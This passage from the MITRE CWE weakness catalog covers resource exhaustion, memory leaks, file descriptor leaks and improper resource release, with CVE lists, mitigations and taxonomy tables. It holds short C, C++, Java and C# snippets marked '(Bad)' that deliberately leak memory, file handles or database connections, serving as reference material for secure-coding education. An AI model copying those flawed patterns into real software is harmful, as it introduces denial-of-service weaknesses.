<b>CVE-2020-7218</b>	Go-based workload orchestrator does not limit resource usage with unauthenticated connections, allowing a DoS by flooding the service <a href="https://www.cve.org/CVERecord?id=CVE-2020-7218">https://www.cve.org/CVERecord?id=CVE-2020-7218</a>
<b>CVE-2020-3566</b>	Resource exhaustion in distributed OS because of "insufficient" IGMP queue management, as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2020-3566">https://www.cve.org/CVERecord?id=CVE-2020-3566</a>
<b>CVE-2009-2874</b>	Product allows attackers to cause a crash via a large number of connections. <a href="https://www.cve.org/CVERecord?id=CVE-2009-2874">https://www.cve.org/CVERecord?id=CVE-2009-2874</a>
<b>CVE-2009-1928</b>	Malformed request triggers uncontrolled recursion, leading to stack exhaustion. <a href="https://www.cve.org/CVERecord?id=CVE-2009-1928">https://www.cve.org/CVERecord?id=CVE-2009-1928</a>
<b>CVE-2009-2858</b>	Chain: memory leak (CWE-404) leads to resource exhaustion. <a href="https://www.cve.org/CVERecord?id=CVE-2009-2858">https://www.cve.org/CVERecord?id=CVE-2009-2858</a>
<b>CVE-2009-2726</b>	Driver does not use a maximum width when invoking sscanf style functions, causing stack consumption. <a href="https://www.cve.org/CVERecord?id=CVE-2009-2726">https://www.cve.org/CVERecord?id=CVE-2009-2726</a>
<b>CVE-2009-2540</b>	Large integer value for a length property in an object causes a large amount of memory allocation. <a href="https://www.cve.org/CVERecord?id=CVE-2009-2540">https://www.cve.org/CVERecord?id=CVE-2009-2540</a>
<b>CVE-2009-2299</b>	Web application firewall consumes excessive memory when an HTTP request contains a large Content-Length value but no POST data. <a href="https://www.cve.org/CVERecord?id=CVE-2009-2299">https://www.cve.org/CVERecord?id=CVE-2009-2299</a>
<b>CVE-2009-2054</b>	Product allows exhaustion of file descriptors when processing a large number of TCP packets. <a href="https://www.cve.org/CVERecord?id=CVE-2009-2054">https://www.cve.org/CVERecord?id=CVE-2009-2054</a>
<b>CVE-2008-5180</b>	Communication product allows memory consumption with a large number of SIP requests, which cause many sessions to be created. <a href="https://www.cve.org/CVERecord?id=CVE-2008-5180">https://www.cve.org/CVERecord?id=CVE-2008-5180</a>
<b>CVE-2008-2121</b>	TCP implementation allows attackers to consume CPU and prevent new connections using a TCP SYN flood attack. <a href="https://www.cve.org/CVERecord?id=CVE-2008-2121">https://www.cve.org/CVERecord?id=CVE-2008-2121</a>
<b>CVE-2008-2122</b>	Port scan triggers CPU consumption with processes that attempt to read data from closed sockets. <a href="https://www.cve.org/CVERecord?id=CVE-2008-2122">https://www.cve.org/CVERecord?id=CVE-2008-2122</a>

Reference	Description
<b>CVE-2008-1700</b>	Product allows attackers to cause a denial of service via a large number of directives, each of which opens a separate window. <a href="https://www.cve.org/CVERecord?id=CVE-2008-1700">https://www.cve.org/CVERecord?id=CVE-2008-1700</a>
<b>CVE-2007-4103</b>	Product allows resource exhaustion via a large number of calls that do not complete a 3-way handshake. <a href="https://www.cve.org/CVERecord?id=CVE-2007-4103">https://www.cve.org/CVERecord?id=CVE-2007-4103</a>
<b>CVE-2006-1173</b>	Mail server does not properly handle deeply nested multipart MIME messages, leading to stack exhaustion. <a href="https://www.cve.org/CVERecord?id=CVE-2006-1173">https://www.cve.org/CVERecord?id=CVE-2006-1173</a>
<b>CVE-2007-0897</b>	Chain: anti-virus product encounters a malformed file but returns from a function without closing a file descriptor (CWE-775) leading to file descriptor consumption (CWE-400) and failed scans. <a href="https://www.cve.org/CVERecord?id=CVE-2007-0897">https://www.cve.org/CVERecord?id=CVE-2007-0897</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	730	OWASP Top Ten 2004 Category A9 - Denial of Service	711	2132
MemberOf	C	858	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 15 - Serialization (SER)	844	2162
MemberOf	C	861	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)	844	2163
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	985	SFP Secondary Cluster: Unrestricted Consumption	888	2204
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2336
MemberOf	C	1148	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 14. Serialization (SER)	1133	2244
MemberOf	C	1152	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC)	1133	2246
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2347
MemberOf	V	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses	1350	2354
MemberOf	V	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses	1387	2357

### Notes

#### Maintenance

"Resource consumption" could be interpreted as a consequence instead of an insecure behavior, so this entry is being considered for modification. It appears to be referenced too frequently when more precise mappings are available. Some of its children, such as CWE-771, might be better considered as a chain.

#### Theoretical

Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect the underlying weaknesses that enable these attacks (or consequences) to take place.

#### Other

Database queries that take a long time to process are good DoS targets. An attacker would have to write a few lines of Perl code to generate enough traffic to exceed the site's ability to keep up. This would effectively prevent authorized users from using the site at all. Resources can be exploited simply by ensuring that the target machine must do much more work and consume more resources in order to service a request than the attacker must do to initiate a request. A prime example of this can be found in old switches that were vulnerable to "macof" attacks (so named for a tool developed by Dugsong). These attacks flooded a switch with random IP and MAC address combinations, therefore exhausting the switch's cache, which held the information of which port corresponded to which MAC addresses. Once this cache was exhausted, the switch would fail in an insecure way and would begin to act simply as a hub, broadcasting all traffic on all ports and allowing for basic sniffing attacks.

### Maintenance

The Taxonomy\_Mappings to ISA/IEC 62443 were added in CWE 4.10, but they are still under review and might change in future CWE versions. These draft mappings were performed by members of the "Mapping CWE to 62443" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG), and their work is incomplete as of CWE 4.10. The mappings are included to facilitate discussion and review by the broader ICS/OT community, and they are likely to change in future CWE versions.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Resource exhaustion (file descriptor, disk space, sockets, ...)
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service
WASC	10		Denial of Service
WASC	41		XML Attribute Blowup
The CERT Oracle Secure Coding Standard for Java (2011)	SER12-J		Avoid memory and resource leaks during serialization
The CERT Oracle Secure Coding Standard for Java (2011)	MSC05-J		Do not exhaust heap space
Software Fault Patterns	SFP13		Unrestricted Consumption
ISA/IEC 62443	Part 3-3		Req SR 7.1
ISA/IEC 62443	Part 3-3		Req SR 7.2
ISA/IEC 62443	Part 4-2		Req CR 7.1
ISA/IEC 62443	Part 4-2		Req CR 7.2

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
147	XML Ping of the Death
227	Sustained Client Engagement
492	Regular Expression Exponential Blowup

### References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

[REF-386]Joao Antunes, Nuno Ferreira Neves and Paulo Verissimo. "Detection and Prediction of Resource-Exhaustion Vulnerabilities". Proceedings of the IEEE International Symposium on Software Reliability Engineering (ISSRE). 2008 November. < <http://homepages.di.fc.ul.pt/~nuno/PAPERS/ISSRE08.pdf> >.

[REF-387]D.J. Bernstein. "Resource exhaustion". < <http://cr.yp.to/docs/resources.html> >.

[REF-388]Pascal Meunier. "Resource exhaustion". Secure Programming Educational Material. 2004. < <http://homes.cerias.purdue.edu/~pmeunier/secprog/sanitized/class1/6.resource%20exhaustion.ppt> >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

## CWE-401: Missing Release of Memory after Effective Lifetime

**Weakness ID** : 401

**Structure** : Simple

**Abstraction** : Variant

### Description

The product does not sufficiently track and release allocated memory after it has been used, which slowly consumes remaining memory.



### Extended Description

This is often triggered by improper handling of malformed data or unexpectedly interrupted sessions. In some languages, developers are responsible for tracking memory allocation and releasing the memory. If there are no more pointers or references to the memory, then it can no longer be tracked and identified for release.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		772	Missing Release of Resource after Effective Lifetime	1512
CanFollow		390	Detection of Error Condition Without Action	893

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		404	Improper Resource Shutdown or Release	927

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ChildOf		404	Improper Resource Shutdown or Release	927

### Weakness Ordinalities

**Resultant** :

### Applicable Platforms

**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

### Alternate Terms

**Memory Leak** :

### Likelihood Of Exploit



Medium

**Common Consequences**

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart DoS: Instability DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory)  <i>Most memory leaks result in general product reliability problems, but if an attacker can intentionally trigger a memory leak, the attacker might be able to launch a denial of service attack (by crashing or hanging the program) or take advantage of other unexpected program behavior resulting from a low memory condition.</i>	
Other	Reduce Performance	

**Potential Mitigations****Phase: Implementation**

*Strategy = Libraries or Frameworks*

Choose a language or tool that provides automatic memory management, or makes manual memory management less error-prone. For example, glibc in Linux provides protection against free of invalid pointers. When using Xcode to target OS X or iOS, enable automatic reference counting (ARC) [REF-391]. To help correctly and consistently manage memory when programming in C++, consider using a smart pointer class such as `std::auto_ptr` (defined by ISO/IEC 14882:2003), `std::shared_ptr` and `std::weak_ptr` (specified by an upcoming revision of the C++ standard, informally referred to as C++ 1x), or equivalent solutions such as Boost.

**Phase: Architecture and Design**

Use an abstraction library to abstract away risky APIs. Not a complete solution.

**Phase: Architecture and Design****Phase: Build and Compilation**

The Boehm-Demers-Weiser Garbage Collector or `valgrind` can be used to detect leaks in code.

**Demonstrative Examples****Example 1:**

The following C function leaks a block of allocated memory if the call to `read()` does not return the expected number of bytes:

*Example Language: C*

*(Bad)*

```
char* getBlock(int fd) {
    char* buf = (char*) malloc(BLOCK_SIZE);
    if (!buf) {
        return NULL;
    }
    if (read(fd, buf, BLOCK_SIZE) != BLOCK_SIZE) {
        return NULL;
    }
    return buf;
}
```

**Observed Examples**

Reference	Description
<b>CVE-2005-3119</b>	Memory leak because function does not free() an element of a data structure. <a href="https://www.cve.org/CVERecord?id=CVE-2005-3119">https://www.cve.org/CVERecord?id=CVE-2005-3119</a>
<b>CVE-2004-0427</b>	Memory leak when counter variable is not decremented. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0427">https://www.cve.org/CVERecord?id=CVE-2004-0427</a>
<b>CVE-2002-0574</b>	chain: reference count is not decremented, leading to memory leak in OS by sending ICMP packets. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0574">https://www.cve.org/CVERecord?id=CVE-2002-0574</a>
<b>CVE-2005-3181</b>	Kernel uses wrong function to release a data structure, preventing data from being properly tracked by other code. <a href="https://www.cve.org/CVERecord?id=CVE-2005-3181">https://www.cve.org/CVERecord?id=CVE-2005-3181</a>
<b>CVE-2004-0222</b>	Memory leak via unknown manipulations as part of protocol test suite. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0222">https://www.cve.org/CVERecord?id=CVE-2004-0222</a>
<b>CVE-2001-0136</b>	Memory leak via a series of the same command. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0136">https://www.cve.org/CVERecord?id=CVE-2001-0136</a>

### Functional Areas

- Memory Management

### Affected Resources

- Memory

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	<b>C</b>	398	7PK - Code Quality	700	2116
MemberOf	<b>C</b>	730	OWASP Top Ten 2004 Category A9 - Denial of Service	711	2132
MemberOf	<b>C</b>	861	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)	844	2163
MemberOf	<b>C</b>	1152	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC)	1133	2246
MemberOf	<b>C</b>	1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)	1154	2251
MemberOf	<b>C</b>	1238	SFP Primary Cluster: Failure to Release Memory	888	2275

### Notes

#### Relationship

This is often a resultant weakness due to improper handling of malformed data or early termination of sessions.

#### Terminology

"memory leak" has sometimes been used to describe other kinds of issues, e.g. for information leaks in which the contents of memory are inadvertently leaked (CVE-2003-0400 is one such example of this terminology conflict).

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Memory leak
7 Pernicious Kingdoms			Memory Leak
CLASP			Failure to deallocate data
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	MEM31-C	Exact	Free dynamically allocated memory when no longer needed
The CERT Oracle Secure Coding Standard for Java (2011)	MSC04-J		Do not leak memory
Software Fault Patterns	SFP14		Failure to Release Resource
OMG ASCPEM	ASCPEM-PRF-14		

## References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

[REF-390]J. Whittaker and H. Thompson. "How to Break Software Security". 2003. Addison Wesley.

[REF-391]iOS Developer Library. "Transitioning to ARC Release Notes". 2013 August 8. < <https://developer.apple.com/library/ios/releasenotes/ObjectiveC/RN-TransitioningToARC/Introduction/Introduction.html> >.

[REF-959]Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". 2016 January. < <http://www.omg.org/spec/ASCPEM/1.0> >.

## CWE-402: Transmission of Private Resources into a New Sphere ('Resource Leak')

**Weakness ID** : 402

**Structure** : Simple

**Abstraction** : Class




### Description

The product makes resources available to untrusted parties when those resources are only intended to be accessed by the product.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1380
ParentOf		403	Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak')	925
ParentOf		619	Dangling Database Cursor ('Cursor Injection')	1300

### Alternate Terms

**Resource Leak** :

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		963	SFP Secondary Cluster: Exposed Data	888	2193
MemberOf		1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2280

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Resource leaks

## CWE-403: Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak')

**Weakness ID :** 403

**Structure :** Simple

**Abstraction :** Base

### Description

A process does not close sensitive file descriptors before invoking a child process, which allows the child to perform unauthorized I/O operations using those descriptors.

### Extended Description

When a new process is forked or executed, the child process inherits any open file descriptors. When the child process has fewer privileges than the parent process, this might introduce a vulnerability if the child process can access the file descriptor but does not have the privileges to access the associated file.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		402	Transmission of Private Resources into a New Sphere ('Resource Leak')	924

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2218

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		399	Resource Management Errors	2117

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

**Operating System :** Unix (*Prevalence = Undetermined*)

### Alternate Terms

**File descriptor leak** : While this issue is frequently called a file descriptor leak, the "leak" term is often used in two different ways - exposure of a resource, or consumption of a resource. Use of this term could cause confusion.

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Modify Application Data	

### Observed Examples

Reference	Description
<b>CVE-2003-0740</b>	Server leaks a privileged file descriptor, allowing the server to be hijacked. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0740">https://www.cve.org/CVERecord?id=CVE-2003-0740</a>
<b>CVE-2004-1033</b>	File descriptor leak allows read of restricted files. <a href="https://www.cve.org/CVERecord?id=CVE-2004-1033">https://www.cve.org/CVERecord?id=CVE-2004-1033</a>
<b>CVE-2000-0094</b>	Access to restricted resource using modified file descriptor for stderr. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0094">https://www.cve.org/CVERecord?id=CVE-2000-0094</a>
<b>CVE-2002-0638</b>	Open file descriptor used as alternate channel in complex race condition. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0638">https://www.cve.org/CVERecord?id=CVE-2002-0638</a>
<b>CVE-2003-0489</b>	Program does not fully drop privileges after creating a file descriptor, which allows access to the descriptor via a separate vulnerability. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0489">https://www.cve.org/CVERecord?id=CVE-2003-0489</a>
<b>CVE-2003-0937</b>	User bypasses restrictions by obtaining a file descriptor then calling setuid program, which does not close the descriptor. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0937">https://www.cve.org/CVERecord?id=CVE-2003-0937</a>
<b>CVE-2004-2215</b>	Terminal manager does not properly close file descriptors, allowing attackers to access terminals of other users. <a href="https://www.cve.org/CVERecord?id=CVE-2004-2215">https://www.cve.org/CVERecord?id=CVE-2004-2215</a>
<b>CVE-2006-5397</b>	Module opens a file for reading twice, allowing attackers to read files. <a href="https://www.cve.org/CVERecord?id=CVE-2006-5397">https://www.cve.org/CVERecord?id=CVE-2006-5397</a>

### Affected Resources

- System Process
- File or Directory

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	<b>C</b>	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	2140
MemberOf	<b>C</b>	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	2171
MemberOf	<b>C</b>	963	SFP Secondary Cluster: Exposed Data	888	2193

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			UNIX file descriptor leak
CERT C Secure Coding	FIO42-C		Ensure files are properly closed when they are no longer needed
Software Fault Patterns	SFP23		Exposed Data

### References

[REF-392]Paul Roberts. "File descriptors and setuid applications". 2007 February 5. < [https://blogs.oracle.com/paulr/entry/file\\_descriptors\\_and\\_setuid\\_applications](https://blogs.oracle.com/paulr/entry/file_descriptors_and_setuid_applications) >.

[REF-393]Apple. "Introduction to Secure Coding Guide". < <https://developer.apple.com/library/mac/documentation/security/conceptual/SecureCodingGuide/Articles/AccessControl.html> >.

## CWE-404: Improper Resource Shutdown or Release

**Weakness ID** : 404

**Structure** : Simple

**Abstraction** : Class

### Description

The product does not release or incorrectly releases a resource before it is made available for re-use.

### Extended Description

When a resource is created or allocated, the developer is responsible for properly releasing the resource as well as accounting for all potential paths of expiration or invalidation, such as a set period of time or revocation.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1367
ParentOf	B	299	Improper Check for Certificate Revocation	690
ParentOf	B	459	Incomplete Cleanup	1038
ParentOf	B	763	Release of Invalid Pointer or Reference	1488
ParentOf	B	772	Missing Release of Resource after Effective Lifetime	1512
ParentOf	B	1266	Improper Scrubbing of Sensitive Data from Decommissioned Device	1930
PeerOf	C	405	Asymmetric Resource Consumption (Amplification)	933
PeerOf	V	239	Failure to Handle Incomplete Element	554
CanPrecede	B	619	Dangling Database Cursor ('Cursor Injection')	1300

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ParentOf	V	401	Missing Release of Memory after Effective Lifetime	921
ParentOf	B	459	Incomplete Cleanup	1038
ParentOf	B	763	Release of Invalid Pointer or Reference	1488
ParentOf	B	772	Missing Release of Resource after Effective Lifetime	1512

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ParentOf	V	401	Missing Release of Memory after Effective Lifetime	921
ParentOf	B	772	Missing Release of Resource after Effective Lifetime	1512
ParentOf	V	775	Missing Release of File Descriptor or Handle after Effective Lifetime	1519

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ParentOf	V	761	Free of Pointer not at Start of Buffer	1481
ParentOf	V	762	Mismatched Memory Management Routines	1485
ParentOf	E	763	Release of Invalid Pointer or Reference	1488
ParentOf	E	772	Missing Release of Resource after Effective Lifetime	1512
ParentOf	V	775	Missing Release of File Descriptor or Handle after Effective Lifetime	1519

### Weakness Ordinalities

**Primary** : Improper release or shutdown of resources can be primary to resource exhaustion, performance, and information confidentiality problems to name a few.

**Resultant** : Improper release or shutdown of resources can be resultant from improper error handling or insufficient resource tracking.

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Availability Other	DoS: Resource Consumption (Other) Varies by Context  <i>Most unreleased resource issues result in general software reliability problems, but if an attacker can intentionally trigger a resource leak, the attacker might be able to launch a denial of service attack by depleting the resource pool.</i>	
Confidentiality	Read Application Data  <i>When a resource containing sensitive information is not correctly shutdown, it may expose the sensitive data in a subsequent allocation.</i>	

### Detection Methods

#### Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results. Resource clean up errors might be detected with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

*Effectiveness = Moderate*

#### Manual Dynamic Analysis

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the product under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's



environment, it may still indicate unexpected conditions that were not handled by the application itself.

## Potential Mitigations

### Phase: Requirements

*Strategy = Language Selection*

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, languages such as Java, Ruby, and Lisp perform automatic garbage collection that releases memory for objects that have been deallocated.

### Phase: Implementation

It is good practice to be responsible for freeing all resources you allocate and to be consistent with how and where you free memory in a function. If you allocate memory that you intend to free upon completion of the function, you must be sure to free the memory at all exit points for that function including error conditions.

### Phase: Implementation

Memory should be allocated/freed using matching functions such as malloc/free, new/delete, and new[]/delete[].

### Phase: Implementation

When releasing a complex object or structure, ensure that you properly dispose of all of its member components, not just the object itself.

## Demonstrative Examples

### Example 1:

The following method never closes the new file handle. Given enough time, the Finalize() method for BufferedReader should eventually call Close(), but there is no guarantee as to how long this action will take. In fact, there is no guarantee that Finalize() will ever be invoked. In a busy environment, the Operating System could use up all of the available file handles before the Close() function is called.

*Example Language: Java*

*(Bad)*

```
private void processFile(string fName)
{
    BufferedReader fil = new BufferedReader(new FileReader(fName));
    String line;
    while ((line = fil.ReadLine()) != null)
    {
        processLine(line);
    }
}
```

The good code example simply adds an explicit call to the Close() function when the system is done using the file. Within a simple example such as this the problem is easy to see and fix. In a real system, the problem may be considerably more obscure.

*Example Language: Java*

*(Good)*

```
private void processFile(string fName)
{
    BufferedReader fil = new BufferedReader(new FileReader(fName));
    String line;
    while ((line = fil.ReadLine()) != null)
    {
        processLine(line);
    }
    fil.Close();
}
```

}

**Example 2:**

This code attempts to open a connection to a database and catches any exceptions that may occur.

*Example Language: Java**(Bad)*

```
try {
    Connection con = DriverManager.getConnection(some_connection_string);
}
catch ( Exception e ) {
    log( e );
}
```

If an exception occurs after establishing the database connection and before the same connection closes, the pool of database connections may become exhausted. If the number of available connections is exceeded, other users cannot access this resource, effectively denying access to the application.

**Example 3:**

Under normal conditions the following C# code executes a database query, processes the results returned by the database, and closes the allocated SqlConnection object. But if an exception occurs while executing the SQL or processing the results, the SqlConnection object is not closed. If this happens often enough, the database will run out of available cursors and not be able to execute any more SQL queries.

*Example Language: C#**(Bad)*

```
...
SqlConnection conn = new SqlConnection(connString);
SqlCommand cmd = new SqlCommand(queryString);
cmd.Connection = conn;
conn.Open();
SqlDataReader rdr = cmd.ExecuteReader();
HarvestResults(rdr);
conn.Connection.Close();
...
```

**Example 4:**

The following C function does not close the file handle it opens if an error occurs. If the process is long-lived, the process can run out of file handles.

*Example Language: C**(Bad)*

```
int decodeFile(char* fName) {
    char buf[BUF_SZ];
    FILE* f = fopen(fName, "r");
    if (!f) {
        printf("cannot open %s\n", fName);
        return DECODE_FAIL;
    }
    else {
        while (fgets(buf, BUF_SZ, f)) {
            if (!checkChecksum(buf)) {
                return DECODE_FAIL;
            }
            else {
                decodeBlock(buf);
            }
        }
    }
}
```

```
fclose(f);
return DECODE_SUCCESS;
}
```

**Example 5:**

In this example, the program does not use matching functions such as malloc/free, new/delete, and new[]/delete[] to allocate/deallocate the resource.

Example Language: C++

(Bad)

```
class A {
    void foo();
};
void A::foo(){
    int *ptr;
    ptr = (int*)malloc(sizeof(int));
    delete ptr;
}
```

**Example 6:**

In this example, the program calls the delete[] function on non-heap memory.

Example Language: C++

(Bad)

```
class A{
    void foo(bool);
};
void A::foo(bool heap) {
    int localArray[2] = {
        11,22
    };
    int *p = localArray;
    if (heap){
        p = new int[2];
    }
    delete[] p;
}
```

**Observed Examples**

Reference	Description
<b>CVE-1999-1127</b>	Does not shut down named pipe connections if malformed data is sent. <a href="https://www.cve.org/CVERecord?id=CVE-1999-1127">https://www.cve.org/CVERecord?id=CVE-1999-1127</a>
<b>CVE-2001-0830</b>	Sockets not properly closed when attacker repeatedly connects and disconnects from server. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0830">https://www.cve.org/CVERecord?id=CVE-2001-0830</a>
<b>CVE-2002-1372</b>	Return values of file/socket operations not checked, allowing resultant consumption of file descriptors. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1372">https://www.cve.org/CVERecord?id=CVE-2002-1372</a>

**MemberOf Relationships**

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	398	7PK - Code Quality	700	2116
MemberOf	<b>C</b>	730	OWASP Top Ten 2004 Category A9 - Denial of Service	711	2132
MemberOf	<b>C</b>	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	2140

Nature	Type	ID	Name	V	Page
MemberOf	C	752	2009 Top 25 - Risky Resource Management	750	2146
MemberOf	C	857	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)	844	2161
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	2170
MemberOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	2171
MemberOf	C	882	CERT C++ Secure Coding Section 14 - Concurrency (CON)	868	2174
MemberOf	C	982	SFP Secondary Cluster: Failure to Release Resource	888	2203
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2336
MemberOf	C	1147	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)	1133	2244
MemberOf	C	1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)	1154	2251
MemberOf	C	1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1154	2252
MemberOf	C	1306	CISQ Quality Measures - Reliability	1305	2276
MemberOf	C	1308	CISQ Quality Measures - Security	1305	2278
MemberOf	C	1309	CISQ Quality Measures - Efficiency	1305	2279
MemberOf	V	1340	CISQ Data Protection Measures	1340	2350

## Notes

### Relationship

Overlaps memory leaks, asymmetric resource consumption, malformed input errors.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Improper resource shutdown or release
7 Pernicious Kingdoms			Unreleased Resource
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service
CERT C Secure Coding	FIO42-C	CWE More Abstract	Close files when they are no longer needed
CERT C Secure Coding	MEM31-C	CWE More Abstract	Free dynamically allocated memory when no longer needed
